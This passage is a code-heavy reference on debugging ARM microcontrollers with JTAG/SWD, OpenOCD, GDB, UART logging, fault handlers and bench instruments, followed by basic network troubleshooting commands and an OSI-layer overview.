uint16_t compareValue = (F_CPU / (PRESCALER * DESIRED_HZ)) - 1;
// compareValue = (16000000 / (64 * 1000)) - 1 = 249

OCR1A = compareValue;

JTAG 20-Pin Header (ARM Standard)

┌─────────────────┐
│ 1  VTref   GND 2│
│ 3  nTRST   GND 4│
│ 5  TDI     GND 6│
│ 7  TMS    RTCK 8│
│ 9  TCK     GND 10│
│11  RTCK    GND 12│
│13  TDO     GND 14│
│15  RESET   GND 16│
│17  NC      GND 18│
│19  NC      GND 20│
└─────────────────┘

Essential Pins:
- TDI  (Test Data In)
- TDO  (Test Data Out)
- TMS  (Test Mode Select)
- TCK  (Test Clock)
- TRST (Test Reset) - Optional

Debugger ──TCK──> Device1 ──> Device2 ──> Device3
         ──TDI──>   │          │          │
         <─TDO───   │          │          │
         ──TMS──────┴──────────┴──────────┘

SWD Interface

┌──────────────┐
│ 1  VCC       │
│ 2  SWDIO     │  Data I/O
│ 3  GND       │
│ 4  SWCLK     │  Clock
│ 5  GND       │
│ 6  SWO       │  Serial Wire Output (optional)
│ 7  NC        │
│ 8  NC        │
│ 9  GND       │
│10  RESET     │  (optional but recommended)
└──────────────┘

Minimal SWD:
- SWDIO (Data)
- SWCLK (Clock)
- GND
- VCC (for level reference)

// ITM Printf implementation
void ITM_SendChar(char ch) {
    while (ITM->PORT[0].u32 == 0);  // Wait for port ready
    ITM->PORT[0].u8 = ch;
}

// Usage
ITM_SendChar('H');
ITM_SendChar('e');
ITM_SendChar('l');
ITM_SendChar('l');
ITM_SendChar('o');
ITM_SendChar('\n');

ST-LINK Capabilities:
- JTAG/SWD debugging
- Flash programming
- Virtual COM port (V2-1, V3)
- Voltage levels: 1.65V - 5.5V
- Speed: Up to 4 MHz (V3)
- Mass storage drag-and-drop (Nucleo boards)

ST-LINK V2          STM32 Target
┌─────────┐         ┌────────────┐
│  SWDIO  ├────────>│  SWDIO     │
│  SWCLK  ├────────>│  SWCLK     │
│  GND    ├────────>│  GND       │
│  3.3V   ├────────>│  VDD       │ (optional)
│  RESET  ├────────>│  NRST      │ (optional)
│  SWO    ├<────────│  SWO (PB3) │ (optional)
└─────────┘         └────────────┘

# OpenOCD with ST-LINK
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg

# Connect GDB
arm-none-eabi-gdb firmware.elf
(gdb) target remote localhost:3333
(gdb) monitor reset halt
(gdb) load
(gdb) continue

#include "SEGGER_RTT.h"

// Initialization (in main)
SEGGER_RTT_Init();

// Printf-style output
SEGGER_RTT_printf(0, "Counter: %d\n", counter);

// Formatted output
SEGGER_RTT_WriteString(0, "Hello from RTT!\n");

// Read input
char input[32];
int bytes = SEGGER_RTT_Read(0, input, sizeof(input));

# Terminal viewer for RTT output
JLinkRTTViewer

# Command line RTT client
JLinkRTTClient

# Scan for devices
arm-none-eabi-gdb
(gdb) target extended-remote /dev/ttyACM0
(gdb) monitor swdp_scan
(gdb) attach 1

# Flash and debug
(gdb) load firmware.elf
(gdb) run

# Start GDB with ELF file
arm-none-eabi-gdb firmware.elf

# Connect to OpenOCD
(gdb) target remote localhost:3333

# Connect to J-Link GDB server
(gdb) target remote localhost:2331

# Reset and halt target
(gdb) monitor reset halt

# Load program to flash
(gdb) load

# Verify flash
(gdb) compare-sections

# Execution control
continue (c)              # Continue execution
step (s)                  # Step into
next (n)                  # Step over
finish                    # Step out
until <line>              # Run until line

# Breakpoints
break main                # Break at function
break file.c:123          # Break at line
break *0x08000100         # Break at address
info breakpoints          # List breakpoints
delete 1                  # Delete breakpoint 1
disable 2                 # Disable breakpoint 2
enable 2                  # Enable breakpoint 2

# Hardware breakpoints (limited on embedded)
hbreak main               # Hardware breakpoint

# Watchpoints
watch variable            # Break on write
rwatch variable           # Break on read
awatch variable           # Break on read/write

# Memory examination
x/10x 0x20000000         # Examine 10 words (hex)
x/10i main               # Disassemble 10 instructions
x/s 0x08001000           # Examine string
info registers           # Show all registers
info reg r0 r1 r2        # Show specific registers

# Memory modification
set variable = 0x42
set {int}0x20000000 = 100

# Stack examination
backtrace (bt)           # Show call stack
frame 0                  # Select frame
info frame               # Current frame info
info locals              # Local variables
info args                # Function arguments

# Register access
info registers           # All registers
print $r0                # Read R0
set $r0 = 0x1234        # Write R0
print $pc                # Program counter
print $sp                # Stack pointer

# Define custom commands
define reset_run
  monitor reset halt
  load
  continue
end

# Pretty printing structures
print *myStruct
print myStruct.field

# Casting
print (uint32_t*)0x20000000
print *(uint32_t*)0x40021000  # Read peripheral register

# Call functions (dangerous in embedded!)
call printf("Debug: %d\n", value)

# Memory dump to file
dump binary memory dump.bin 0x20000000 0x20001000

# Conditional breakpoints
break main if counter > 100

# Command scripts
source debug_script.gdb

# Save breakpoints
save breakpoints bp.gdb

# Python scripting
python print("Custom debug output")

# .gdbinit for STM32 debugging

# Connect to OpenOCD
target remote localhost:3333

# Enable TUI mode
#tui enable

# Load symbols
file firmware.elf

# Custom reset command
define reset_run
  monitor reset halt
  load
  monitor reset halt
  continue
end

# Custom flash command
define flash
  monitor reset halt
  load
  monitor reset halt
end

# Register display format
set print pretty on
set print array on

# Automatic peripheral register display
define show_gpio
  printf "GPIOA_IDR: 0x%08x\n", *(uint32_t*)0x40020010
  printf "GPIOA_ODR: 0x%08x\n", *(uint32_t*)0x40020014
end

# SVD (System View Description) support
# Requires GDB with SVD plugin
#svd load STM32F407.svd

# Install OpenOCD
# Ubuntu/Debian
sudo apt-get install openocd

# macOS
brew install openocd

# From source
git clone https://github.com/openocd-org/openocd.git
cd openocd
./bootstrap
./configure
make
sudo make install

# stlink.cfg
source [find interface/stlink.cfg]

# Set SWD mode
transport select hla_swd

# Adapter speed
adapter speed 4000

# stm32f4x.cfg
source [find target/stm32f4x.cfg]

# Custom reset
reset_config srst_only

# Work area (RAM for flash programming)
$_TARGETNAME configure -work-area-phys 0x20000000
$_TARGETNAME configure -work-area-size 0x10000

# Start OpenOCD
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg

# Telnet to OpenOCD (default port 4444)
telnet localhost 4444

# OpenOCD commands via telnet
> reset halt             # Reset and halt
> flash write_image erase firmware.hex
> reset run             # Reset and run
> mdw 0x20000000 10     # Memory display word
> mww 0x20000000 0x1234 # Memory write word
> reg                   # Show registers
> step                  # Single step
> resume                # Continue execution
> shutdown              # Close OpenOCD

# Erase flash
> flash erase_sector 0 0 last

# Write to flash
> flash write_image erase firmware.bin 0x08000000
> flash write_image erase firmware.hex
> flash write_image erase firmware.elf

# Verify flash
> verify_image firmware.bin 0x08000000

# Flash info
> flash info 0
> flash banks

# Start OpenOCD (terminal 1)
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg

# GDB (terminal 2)
arm-none-eabi-gdb firmware.elf
(gdb) target remote localhost:3333
(gdb) monitor reset halt
(gdb) load
(gdb) monitor reset halt
(gdb) continue

# custom_flash.cfg
# Combined interface and target configuration

# Interface
source [find interface/stlink.cfg]
transport select hla_swd
adapter speed 4000

# Target
source [find target/stm32f4x.cfg]

# Custom procedures
proc flash_firmware {} {
    program firmware.elf verify reset
}

proc mass_erase {} {
    flash erase_sector 0 0 last
}

# Auto-run on startup
init
reset halt

openocd -f custom_flash.cfg -c "flash_firmware" -c "shutdown"

// Enable semihosting in GDB
// (gdb) monitor arm semihosting enable

#include <stdio.h>

int main(void) {
    printf("Starting application...\n");
    printf("Counter: %d\n", counter);
    return 0;
}

void uart_puts(const char* str) {
    while (*str) {
        while (!(USART1->SR & USART_SR_TXE));
        USART1->DR = *str++;
    }
}

// Usage
uart_puts("Debug: Entered ISR\n");

#include <stdarg.h>

void debug_printf(const char* format, ...) {
    char buffer[128];
    va_list args;
    va_start(args, format);
    vsnprintf(buffer, sizeof(buffer), format, args);
    va_end(args);
    uart_puts(buffer);
}

// Usage
debug_printf("Value: %d, Status: 0x%02X\n", value, status);

// Simple assertion
#define ASSERT(x) \
    if (!(x)) { \
        uart_puts("ASSERT FAILED: " #x "\n"); \
        while(1); \
    }

// Assertion with location
#define ASSERT_LOC(x) \
    if (!(x)) { \
        debug_printf("ASSERT: %s:%d\n", __FILE__, __LINE__); \
        while(1); \
    }

// Usage
ASSERT(buffer != NULL);
ASSERT(size <= MAX_BUFFER_SIZE);

typedef enum {
    LOG_LEVEL_DEBUG,
    LOG_LEVEL_INFO,
    LOG_LEVEL_WARNING,
    LOG_LEVEL_ERROR
} log_level_t;

static log_level_t current_level = LOG_LEVEL_INFO;

void log_message(log_level_t level, const char* format, ...) {
    if (level < current_level) return;

    const char* level_str[] = {"DEBUG", "INFO", "WARN", "ERROR"};
    char buffer[128];
    va_list args;

    // Timestamp
    uint32_t ticks = HAL_GetTick();
    snprintf(buffer, sizeof(buffer), "[%lu][%s] ", ticks, level_str[level]);
    uart_puts(buffer);

    // Message
    va_start(args, format);
    vsnprintf(buffer, sizeof(buffer), format, args);
    va_end(args);
    uart_puts(buffer);
    uart_puts("\n");
}

// Convenience macros
#define LOG_DEBUG(...) log_message(LOG_LEVEL_DEBUG, __VA_ARGS__)
#define LOG_INFO(...)  log_message(LOG_LEVEL_INFO, __VA_ARGS__)
#define LOG_WARN(...)  log_message(LOG_LEVEL_WARNING, __VA_ARGS__)
#define LOG_ERROR(...) log_message(LOG_LEVEL_ERROR, __VA_ARGS__)

// Usage
LOG_INFO("System initialized");
LOG_WARN("Buffer nearly full: %d/%d", count, MAX_SIZE);
LOG_ERROR("I2C timeout on address 0x%02X", addr);

// Fill stack with pattern at startup
void stack_fill(void) {
    extern uint32_t _sstack;  // Stack start (linker symbol)
    extern uint32_t _estack;  // Stack end
    uint32_t* p = &_sstack;

    while (p < &_estack) {
        *p++ = 0xDEADBEEF;
    }
}

// Check stack usage
uint32_t stack_usage(void) {
    extern uint32_t _sstack;
    uint32_t* p = &_sstack;
    uint32_t count = 0;

    while (*p == 0xDEADBEEF) {
        p++;
        count += 4;
    }

    return count;  // Unused stack in bytes
}

// Usage
stack_fill();  // Call before main
// ... application runs ...
uint32_t unused = stack_usage();
LOG_INFO("Stack unused: %lu bytes", unused);

// Watchdog with debug output
void feed_watchdog(const char* location) {
    HAL_IWDG_Refresh(&hiwdg);
    LOG_DEBUG("WDG fed from: %s", location);
}

#define FEED_WATCHDOG() feed_watchdog(__func__)

// In application
void task1(void) {
    FEED_WATCHDOG();
    // ... work ...
}

void task2(void) {
    FEED_WATCHDOG();
    // ... work ...
}

Logic Analyzer          Target Device
┌────────────┐         ┌──────────────┐
│ CH0 (Black)├────────>│ I2C SCL      │
│ CH1 (Brown)├────────>│ I2C SDA      │
│ CH2 (Red)  ├────────>│ UART TX      │
│ CH3 (Orange├────────>│ UART RX      │
│ GND        ├────────>│ GND          │
└────────────┘         └──────────────┘

Voltage Levels: 3.3V or 5V (check device specs)

I2C Protocol Analysis:
- Verify START/STOP conditions
- Check ACK/NACK responses
- Decode addresses and data
- Measure timing (setup, hold times)

SPI Protocol Analysis:
- Clock polarity and phase
- Data integrity
- Chip select timing
- Multi-device communication

UART Analysis:
- Baud rate verification
- Frame format (bits, parity, stop)
- Data corruption detection
- Timing issues

Sample Rate: 10 MS/s minimum
SCL: Channel 0
SDA: Channel 1
Bit Rate: Auto or manual (100k, 400k, 1M)

MOSI: Channel 0
MISO: Channel 1
SCK:  Channel 2
CS:   Channel 3
CPOL: 0 or 1
CPHA: 0 or 1
Bits per transfer: 8/16/32

Signal: Channel 0
Baud Rate: 9600, 115200, etc.
Bits: 8
Parity: None, Even, Odd
Stop Bits: 1 or 2
Inverted: No

Simple Triggers:
- Rising edge on channel
- Falling edge on channel
- Both edges
- High/Low level

Advanced Triggers:
- Pulse width
- I2C address match
- SPI data pattern
- UART character sequence

# Install
sudo apt-get install sigrok pulseview

# Supported devices
- Logic Pirate
- Bus Pirate
- Cypress FX2-based devices
- Many USB logic analyzers

# Protocol decoders (100+)
- I2C, SPI, UART, CAN, I2S
- 1-Wire, JTAG, SWD
- USB, Ethernet, HDMI
- Custom protocols (Python)

Power Supply Analysis:
- Voltage ripple
- Noise
- Startup transients
- Load regulation

Signal Integrity:
- Rise/fall times
- Overshoot/undershoot
- Ringing
- Cross-talk

Analog Signals:
- ADC input verification
- PWM duty cycle
- Sensor outputs
- Communication signal quality

Vpp  - Peak-to-peak voltage
Vmax - Maximum voltage
Vmin - Minimum voltage
Vavg - Average voltage
Vrms - RMS voltage

Period    - Signal period
Frequency - Signal frequency
Duty Cycle - PWM duty cycle
Rise Time  - 10% to 90% transition
Fall Time  - 90% to 10% transition

Edge Trigger:
- Rising/falling edge
- Threshold level

Pulse Width Trigger:
- Glitch capture
- Min/max pulse width

Protocol Triggers:
- I2C, SPI, UART, CAN
- Specific patterns

MSO Channels:
- Analog CH1: Power supply 3.3V
- Analog CH2: PWM output signal
- Digital D0-D7: SPI bus
- Trigger: SPI CS falling edge

Use Case:
- Verify PWM signal quality
- Check power supply during SPI transfer
- Correlate digital activity with analog effects

// Enhanced hard fault handler with debugging info
void HardFault_Handler(void) {
    __asm volatile (
        "tst lr, #4                                     \n"
        "ite eq                                         \n"
        "mrseq r0, msp                                  \n"
        "mrsne r0, psp                                  \n"
        "b hard_fault_handler_c                         \n"
    );
}

void hard_fault_handler_c(uint32_t* hardfault_args) {
    volatile uint32_t stacked_r0;
    volatile uint32_t stacked_r1;
    volatile uint32_t stacked_r2;
    volatile uint32_t stacked_r3;
    volatile uint32_t stacked_r12;
    volatile uint32_t stacked_lr;
    volatile uint32_t stacked_pc;
    volatile uint32_t stacked_psr;
    volatile uint32_t cfsr;
    volatile uint32_t hfsr;
    volatile uint32_t dfsr;
    volatile uint32_t afsr;
    volatile uint32_t mmar;
    volatile uint32_t bfar;

    stacked_r0  = ((uint32_t)hardfault_args[0]);
    stacked_r1  = ((uint32_t)hardfault_args[1]);
    stacked_r2  = ((uint32_t)hardfault_args[2]);
    stacked_r3  = ((uint32_t)hardfault_args[3]);
    stacked_r12 = ((uint32_t)hardfault_args[4]);
    stacked_lr  = ((uint32_t)hardfault_args[5]);
    stacked_pc  = ((uint32_t)hardfault_args[6]);
    stacked_psr = ((uint32_t)hardfault_args[7]);

    // Fault status registers
    cfsr = (*((volatile uint32_t*)(0xE000ED28)));
    hfsr = (*((volatile uint32_t*)(0xE000ED2C)));
    dfsr = (*((volatile uint32_t*)(0xE000ED30)));
    afsr = (*((volatile uint32_t*)(0xE000ED3C)));
    mmar = (*((volatile uint32_t*)(0xE000ED34)));
    bfar = (*((volatile uint32_t*)(0xE000ED38)));

    // Print fault information (or save to flash/RAM)
    debug_printf("\n[Hard Fault]\n");
    debug_printf("R0  = 0x%08X\n", stacked_r0);
    debug_printf("R1  = 0x%08X\n", stacked_r1);
    debug_printf("R2  = 0x%08X\n", stacked_r2);
    debug_printf("R3  = 0x%08X\n", stacked_r3);
    debug_printf("R12 = 0x%08X\n", stacked_r12);
    debug_printf("LR  = 0x%08X\n", stacked_lr);
    debug_printf("PC  = 0x%08X\n", stacked_pc);
    debug_printf("PSR = 0x%08X\n", stacked_psr);
    debug_printf("CFSR= 0x%08X\n", cfsr);
    debug_printf("HFSR= 0x%08X\n", hfsr);
    debug_printf("DFSR= 0x%08X\n", dfsr);
    debug_printf("AFSR= 0x%08X\n", afsr);

    if (cfsr & 0x0080) debug_printf("MMAR= 0x%08X\n", mmar);
    if (cfsr & 0x8000) debug_printf("BFAR= 0x%08X\n", bfar);

    // Infinite loop or reset
    while(1);
}

// Dump memory region
void memory_dump(uint32_t addr, uint32_t len) {
    uint8_t* p = (uint8_t*)addr;

    for (uint32_t i = 0; i < len; i += 16) {
        debug_printf("%08X: ", addr + i);

        // Hex values
        for (uint32_t j = 0; j < 16 && (i + j) < len; j++) {
            debug_printf("%02X ", p[i + j]);
        }

        // ASCII representation
        debug_printf(" |");
        for (uint32_t j = 0; j < 16 && (i + j) < len; j++) {
            char c = p[i + j];
            debug_printf("%c", (c >= 32 && c < 127) ? c : '.');
        }
        debug_printf("|\n");
    }
}

// Usage
memory_dump(0x20000000, 256);  // Dump 256 bytes from RAM start

typedef enum {
    STATE_IDLE,
    STATE_INIT,
    STATE_RUNNING,
    STATE_ERROR
} system_state_t;

static system_state_t current_state = STATE_IDLE;

void set_state(system_state_t new_state) {
    const char* state_names[] = {"IDLE", "INIT", "RUNNING", "ERROR"};

    LOG_INFO("State: %s -> %s",
             state_names[current_state],
             state_names[new_state]);

    current_state = new_state;
}

// Dump all GPIO registers
void dump_gpio_registers(GPIO_TypeDef* GPIOx) {
    debug_printf("GPIO Base: 0x%08X\n", (uint32_t)GPIOx);
    debug_printf("MODER:   0x%08X\n", GPIOx->MODER);
    debug_printf("OTYPER:  0x%08X\n", GPIOx->OTYPER);
    debug_printf("OSPEEDR: 0x%08X\n", GPIOx->OSPEEDR);
    debug_printf("PUPDR:   0x%08X\n", GPIOx->PUPDR);
    debug_printf("IDR:     0x%08X\n", GPIOx->IDR);
    debug_printf("ODR:     0x%08X\n", GPIOx->ODR);
}

// Usage
dump_gpio_registers(GPIOA);

#define TRACE_BUFFER_SIZE 256

typedef struct {
    uint32_t timestamp;
    uint32_t pc;
    uint32_t data;
} trace_entry_t;

static trace_entry_t trace_buffer[TRACE_BUFFER_SIZE];
static volatile uint32_t trace_index = 0;

void trace_log(uint32_t data) {
    trace_entry_t* entry = &trace_buffer[trace_index % TRACE_BUFFER_SIZE];
    entry->timestamp = HAL_GetTick();
    entry->pc = (uint32_t)__builtin_return_address(0);
    entry->data = data;
    trace_index++;
}

void trace_dump(void) {
    uint32_t start = trace_index > TRACE_BUFFER_SIZE ?
                     trace_index - TRACE_BUFFER_SIZE : 0;

    for (uint32_t i = start; i < trace_index; i++) {
        trace_entry_t* entry = &trace_buffer[i % TRACE_BUFFER_SIZE];
        debug_printf("[%lu] PC:0x%08X Data:0x%08X\n",
                    entry->timestamp, entry->pc, entry->data);
    }
}

// Enable DWT cycle counter (Cortex-M3/M4/M7)
void dwt_init(void) {
    CoreDebug->DEMCR |= CoreDebug_DEMCR_TRCENA_Msk;  // Enable trace
    DWT->CYCCNT = 0;                                  // Reset counter
    DWT->CTRL |= DWT_CTRL_CYCCNTENA_Msk;            // Enable counter
}

// Get current cycle count
uint32_t dwt_get_cycles(void) {
    return DWT->CYCCNT;
}

// Measure function execution time
uint32_t start = dwt_get_cycles();
my_function();
uint32_t cycles = dwt_get_cycles() - start;
debug_printf("Function took %lu cycles\n", cycles);

// Measure execution time in microseconds
uint32_t measure_us(void (*func)(void)) {
    uint32_t start = DWT->CYCCNT;
    func();
    uint32_t end = DWT->CYCCNT;

    // Assuming 168 MHz clock
    return (end - start) / 168;
}

// Usage
uint32_t time_us = measure_us(some_function);
debug_printf("Execution time: %lu us\n", time_us);

// Use GPIO to visualize timing on oscilloscope
#define PROFILE_PIN_HIGH()  HAL_GPIO_WritePin(GPIOA, GPIO_PIN_0, GPIO_PIN_SET)
#define PROFILE_PIN_LOW()   HAL_GPIO_WritePin(GPIOA, GPIO_PIN_0, GPIO_PIN_RESET)
#define PROFILE_PIN_TOGGLE() HAL_GPIO_TogglePin(GPIOA, GPIO_PIN_0)

// Measure function
void critical_function(void) {
    PROFILE_PIN_HIGH();
    // ... work ...
    PROFILE_PIN_LOW();
}

// Measure ISR
void TIM2_IRQHandler(void) {
    PROFILE_PIN_HIGH();
    // ... ISR work ...
    PROFILE_PIN_LOW();
}

# Check connections
- Verify VCC, GND, SWDIO, SWCLK connections
- Check voltage levels (3.3V or 5V)
- Verify NRST if used
- Check for shorts

# OpenOCD diagnostics
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg -d3

# ST-LINK utility (Windows)
- Use ST-LINK Utility to check connection
- Try firmware upgrade on ST-LINK

# Linux permissions
sudo usermod -aG dialout $USER
sudo cp 99-stlink.rules /etc/udev/rules.d/
sudo udevadm control --reload-rules

# Erase flash first
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg \
  -c "init" -c "reset halt" -c "flash erase_sector 0 0 last" -c "shutdown"

# Mass erase
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg \
  -c "init" -c "reset halt" -c "stm32f4x mass_erase 0" -c "shutdown"

# Disable write protection
# (via option bytes - device specific)

# Check flash protection
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg \
  -c "init" -c "flash info 0" -c "shutdown"

# Hardware breakpoints (limited, usually 4-6)
info break
# If too many, use software breakpoints (requires flash)

# Cannot set software breakpoint in flash
# Solution: Enable flash patching
monitor flash breakpoints enable

# Breakpoint not hit
# Check optimization level
# Try volatile variables
# Verify code is actually executed

# Try different speeds
adapter speed 500  # Slower

# Connect under reset
reset_config srst_only srst_nogate
adapter assert srst

# Hot plug (connect while running)
# May not work with all targets

# Factory reset (if available)
# Use manufacturer tools

// Check UART configuration
- Baud rate match
- Pin configuration (TX/RX not swapped)
- Voltage levels
- GND connection

// Check semihosting
- Enabled in GDB
- Significant performance impact
- May not work in some configurations

// Check SWO
- Configured in debugger
- Correct clock speed
- Pin configured as SWO

# Git repository structure
project/
├── .vscode/
│   ├── launch.json       # Debug configurations
│   └── tasks.json
├── .gdbinit             # GDB init
├── openocd.cfg          # OpenOCD config
└── debug_scripts/
    ├── flash.sh
    └── erase.sh

// Always validate inputs
void process_data(uint8_t* data, size_t len) {
    ASSERT(data != NULL);
    ASSERT(len > 0 && len <= MAX_SIZE);

    // ... process ...
}

// Check return values
if (HAL_I2C_Master_Transmit(&hi2c1, addr, data, len, 100) != HAL_OK) {
    LOG_ERROR("I2C transmit failed");
    return ERROR;
}

// Initialize variables
int value = 0;  // Not garbage
uint8_t* ptr = NULL;  // Not random address

# Makefile with debug symbols
DEBUG = 1

ifeq ($(DEBUG), 1)
CFLAGS += -O0 -g3 -gdwarf-2
else
CFLAGS += -O2 -g0
endif

# Always include debug info in separate file
OBJCOPY_FLAGS = --only-keep-debug
objcopy $(OBJCOPY_FLAGS) firmware.elf firmware.debug

Development Flow:
1. Prototype on development board
2. Test on target hardware
3. Test in final enclosure
4. Test in target environment
5. Long-term reliability testing

Don't wait until production!

# Debug Setup for Project XYZ

## Hardware Connections
- ST-LINK V2 to SWD header (J1)
- UART console on PA9/PA10 (115200 8N1)
- Logic analyzer on I2C bus (PB6/PB7)

## OpenOCD Command
```bash
openocd -f interface/stlink.cfg -f target/stm32f4x.cfg

arm-none-eabi-gdb build/firmware.elf
(gdb) source .gdbinit

### 6. Use Static Analysis Tools

```bash
# Cppcheck
cppcheck --enable=all --inconclusive src/

# Compiler warnings
CFLAGS += -Wall -Wextra -Werror -Wpedantic

# PC-Lint (commercial)
# MISRA-C checker

Design PCB with debug headers:

┌──────────────────────────────┐
│  [J1] SWD Header              │
│   1. VCC                      │
│   2. SWDIO                    │
│   3. GND                      │
│   4. SWCLK                    │
│   5. SWO                      │
│   6. RESET                    │
│                               │
│  [J2] UART Console            │
│   1. GND                      │
│   2. TX                       │
│   3. RX                       │
│                               │
│  [TP1-10] Test Points         │
│   - Power rails               │
│   - Critical signals          │
│   - Protocol buses            │
└──────────────────────────────┘

#ifdef DEBUG
    #define DEBUG_PRINT(...) debug_printf(__VA_ARGS__)
#else
    #define DEBUG_PRINT(...) ((void)0)
#endif

// Or use log levels
#if LOG_LEVEL >= LOG_LEVEL_DEBUG
    LOG_DEBUG("Detailed information");
#endif

// Save crash info to flash or backup RAM
typedef struct {
    uint32_t magic;
    uint32_t pc;
    uint32_t lr;
    uint32_t sp;
    uint32_t fault_regs[8];
} crash_info_t;

void save_crash_info(crash_info_t* info) {
    // Write to backup RAM or flash
    // Check on next boot
}

// At startup
void check_crash_info(void) {
    if (crash_info.magic == CRASH_MAGIC) {
        debug_printf("Previous crash at PC: 0x%08X\n", crash_info.pc);
        // Analyze or send to server
        memset(&crash_info, 0, sizeof(crash_info));
    }
}

# .github/workflows/build.yml
name: Build and Test

on: [push, pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Install ARM toolchain
        run: |
          sudo apt-get update
          sudo apt-get install gcc-arm-none-eabi
      - name: Build
        run: make
      - name: Run unit tests
        run: make test
      - name: Static analysis
        run: cppcheck --error-exitcode=1 src/

# Connectivity Testing
ping <host>                    # Test reachability
traceroute <host>              # Trace route to host

# DNS Lookup
dig <domain>                   # DNS query
nslookup <domain>              # DNS lookup
host <domain>                  # Simple DNS lookup

# Network Configuration
ifconfig                       # Network interface config (legacy)
ip addr show                   # Show IP addresses
ip route show                  # Show routing table

# Port Scanning
netstat -tuln                  # Show listening ports
ss -tuln                       # Socket statistics
nc -zv <host> <port>           # Check if port is open

# Packet Capture
tcpdump -i any                 # Capture all traffic
tcpdump port 80                # Capture HTTP traffic
wireshark                      # GUI packet analyzer

# Service Discovery
avahi-browse -a                # Browse mDNS services
upnpc -l                       # List UPnP devices

10.0.0.0        - 10.255.255.255     (10/8 prefix)
172.16.0.0      - 172.31.255.255     (172.16/12 prefix)
192.168.0.0     - 192.168.255.255    (192.168/16 prefix)

Application Layer:
  HTTP, FTP, SMTP, DNS, DHCP, SSH
       |
       v
Transport Layer:
  TCP (reliable) or UDP (fast)
       |
       v
Network Layer:
  IP (routing and addressing)
       |
       v
Data Link Layer:
  Ethernet, WiFi (MAC addresses)
       |
       v
Physical Layer:
  Cables, signals, physical media

1. Physical Layer
   - Cable connected?
   - Link lights on?
   -> Use: Visual inspection, ethtool

2. Data Link Layer
   - MAC address correct?
   - Switch working?
   -> Use: arp -a, show mac address-table

3. Network Layer
   - IP address assigned?
   - Can ping gateway?
   - Routing correct?
   -> Use: ip addr, ping, traceroute

4. Transport Layer
   - Port open?
   - Firewall blocking?
   - Service running?
   -> Use: netstat, telnet, nc

5. Application Layer
   - Service configured correctly?
   - Authentication working?
   - Application logs?
   -> Use: curl, application-specific tools

Layer 7: Application    → User applications (HTTP, FTP, SMTP)
Layer 6: Presentation   → Data format, encryption (SSL/TLS)
Layer 5: Session        → Session management
Layer 4: Transport      → End-to-end delivery (TCP, UDP)
Layer 3: Network        → Routing, IP addressing
Layer 2: Data Link      → MAC addressing, switches
Layer 1: Physical       → Physical media, cables, signals

Manchester Encoding (Ethernet):
0: High-to-low transition
1: Low-to-high transition

   1     0     1     1     0
  _|‾|_ _‾|_  _|‾|_ _|‾|_ _‾|_

Computer A wants to send "Hello" (binary: 01001000...)

Physical Layer:
1. Convert bits to electrical signals
2. Transmit over cable at defined voltage levels
   High voltage (2.5V) = 1
   Low voltage (0V) = 0
3. Receiver samples signals and reconstructs bits

Preamble | SFD | Dest MAC | Src MAC | Type | Data | FCS
  7B     | 1B  |   6B     |   6B    | 2B   | 46-1500B | 4B

Preamble: 10101010... (synchronization)
SFD: Start Frame Delimiter (10101011)
Dest MAC: Destination hardware address
Src MAC: Source hardware address
Type: Protocol type (0x0800 = IPv4, 0x86DD = IPv6)
Data: Payload (46-1500 bytes)
FCS: Frame Check Sequence (CRC-32)

AA:BB:CC:DD:EE:FF (48 bits / 6 bytes)

AA:BB:CC - OUI (Organizationally Unique Identifier)
           Vendor identification
DD:EE:FF - Device identifier

Example: 00:1A:2B:3C:4D:5E

Switch MAC Address Table:
Port 1: AA:AA:AA:AA:AA:AA
Port 2: BB:BB:BB:BB:BB:BB
Port 3: CC:CC:CC:CC:CC:CC

Frame arrives on Port 1:
  Dest MAC: BB:BB:BB:BB:BB:BB

Switch looks up BB:BB:BB:BB:BB:BB → Port 2
Forwards frame only to Port 2

Host A wants to send to 192.168.1.5

1. Check ARP cache
2. If not found, broadcast ARP request:
   "Who has 192.168.1.5? Tell 192.168.1.10"

3. Host with 192.168.1.5 replies:
   "192.168.1.5 is at AA:BB:CC:DD:EE:FF"

4. Cache the mapping
5. Send frame to AA:BB:CC:DD:EE:FF

Router receives packet for 10.1.2.5

Routing Table:
  10.1.0.0/16    via 192.168.1.1
  10.1.2.0/24    via 192.168.1.2
  0.0.0.0/0      via 192.168.1.254 (default)

Longest prefix match: 10.1.2.0/24
Forward to 192.168.1.2

PC1 (192.168.1.10) → Server (10.0.0.5)

Layer 3 decisions at each hop:
1. PC1: Not local subnet → Send to gateway (192.168.1.1)
2. Router1: Check route → Forward to Router2 (10.0.0.1)
3. Router2: Destination is local → Send to 10.0.0.5

Source Port: Identifies sending application
Dest Port: Identifies receiving application

Well-known ports (0-1023):
  80  - HTTP
  443 - HTTPS
  22  - SSH
  53  - DNS

Registered ports (1024-49151):
  3306 - MySQL
  5432 - PostgreSQL

Dynamic ports (49152-65535):
  Ephemeral ports for client connections

Client (192.168.1.10:5000) → Server (10.0.0.5:80)

Layer 4 provides:
1. Connection establishment (3-way handshake)
2. Reliable delivery (ACKs, retransmission)
3. Ordering (sequence numbers)
4. Flow control (window size)
5. Connection termination (4-way close)

Web browser opens multiple connections:

Tab 1: 192.168.1.10:5000 → google.com:443
Tab 2: 192.168.1.10:5001 → github.com:443
Tab 3: 192.168.1.10:5002 → stackoverflow.com:443

Transport layer demultiplexes based on port

Client                          Server
  |                                |
  | Session established            |
  |<------------------------------>|
  | Call remote procedure          |
  |------------------------------->|
  | Maintain session state         |
  |<------------------------------>|
  | Session terminated             |

File Transfer with checkpoints:

  0KB -------- 100KB -------- 200KB -------- 300KB
  ^            ^              ^              ^
  Sync 1       Sync 2         Sync 3         Complete

If failure at 250KB:
  Resume from Sync 2 (200KB)

ASCII ↔ EBCDIC
Big-endian ↔ Little-endian
JSON ↔ XML ↔ Binary

Plaintext: "Hello World"
    ↓
SSL/TLS Encryption
    ↓
Ciphertext: "3k#9$mL..."

Original: 1000 bytes
    ↓
GZIP Compression
    ↓
Compressed: 300 bytes

Application sends: "GET / HTTP/1.1"
    ↓
Presentation Layer: Encrypts with TLS
    ↓
Transport Layer: Sends encrypted data

String "Hello" in different encodings:
ASCII:  48 65 6C 6C 6F
UTF-8:  48 65 6C 6C 6F
